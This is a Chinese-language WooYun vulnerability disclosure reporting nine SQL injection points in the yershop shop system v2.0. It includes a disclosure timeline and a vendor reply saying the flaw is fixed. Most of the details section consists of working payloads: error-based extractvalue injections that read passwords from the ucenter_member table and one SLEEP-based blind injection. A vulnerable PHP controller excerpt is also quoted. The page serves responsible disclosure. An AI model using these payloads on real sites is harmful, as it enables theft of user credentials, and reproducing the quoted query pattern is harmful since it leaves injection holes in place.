当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145637

漏洞标题:yershop商城系统v2.0(版本升级后来一波sql注入共9处[超级漏洞大礼包])

相关厂商:yershop.com

漏洞作者: 不能忍

提交时间:2015-10-13 12:57

修复时间:2016-01-12 17:08

公开时间:2016-01-12 17:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-13: 细节已通知厂商并且等待厂商处理中
2015-10-14: 厂商已经确认,细节仅向厂商公开
2015-10-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-08: 细节向核心白帽子及相关领域专家公开
2015-12-18: 细节向普通白帽子公开
2015-12-28: 细节向实习白帽子公开
2016-01-12: 细节向公众公开

简要描述:

升级日志说修复了很多漏洞,我就下来看看了,感觉确实修复了一些漏洞,但是还是有遗漏的,这里希望厂商再修复一次

详细说明:

我就不贴代码了,直接给payload。
http://localhost/index.php?s=/Home/cancel/index
id=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/cancel/detail/?get.id=23') AND (SELECT * FROM (SELECT(SLEEP(6)))test) AND 'wooyun'='wooyun'%23
http://localhost/index.php?s=/Home/fcoupon/check
couponid=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/order/save
tag=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/order/getpriceNum
id=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/order/getPricetotal
tag=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/order/detail
id=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/order/detail/?id=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
http://localhost/index.php?s=/Home/shopcart/addItem/
id=1&i=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
换行的都是post注入,自己看把,比如这个:
http://localhost/index.php?s=/Home/shopcart/addItem/
下面这部分就是post注入的。
id=1&i=test') and extractvalue(1, concat(0x5c, (select a.password from (select tmp.* from yershop_ucenter_member tmp limit 1)a) ) )%23
这次我全部给payload了,厂商自己看看问题在哪里把!

漏洞证明:

其实应该是可以官网demo测试的,但是官网似乎不回显。所以这里给一处盲注演示一下算了(本地是直接回显的,也就是上面的payload都是可以用的)

1.jpg


为什么是14秒。因为有两处进库的
这一处的文件在:
/Application/Home/Controller/OrderController.class.php //360行

public function wuliu(){
if ( !is_login() ) {
$this->error( "您还没有登陆",U("User/login") );
}
$id= I('get.orderid','','strip_tags');//获取id
$id =safe_replace($id);//过滤
$this->meta_title = '订单'.$id.'物流详情';
$typeCom=M("order")->where("orderid='$id'")->getField("tool");
$typeNu=M("order")->where("orderid='$id'")->getField("toolid");
if (isset($typeCom)&&$typeNu){
$retData=$this->getkuaidi($typeCom,$typeNu );
addUserLog('查询快递', is_login()) ;
}
else{
$retData="";
}
$this->assign('kuaidata', $retData);
/* 左侧菜单 */
$menu=R('index/menulist');
$this->assign('category', $menu);
/* 购物车调用*/
$cart=R("shopcart/usercart");
$this->assign('usercart',$cart);
if (!session('user_auth')){
$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
$this->display();
}


这里两处进库,其他我就不演示了,代码都是一样的,只是官网不报错,估计只能盲注了。

修复方案:

实在不行,就换程序把

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-14 17:07

厂商回复:

已修复

最新状态:

暂无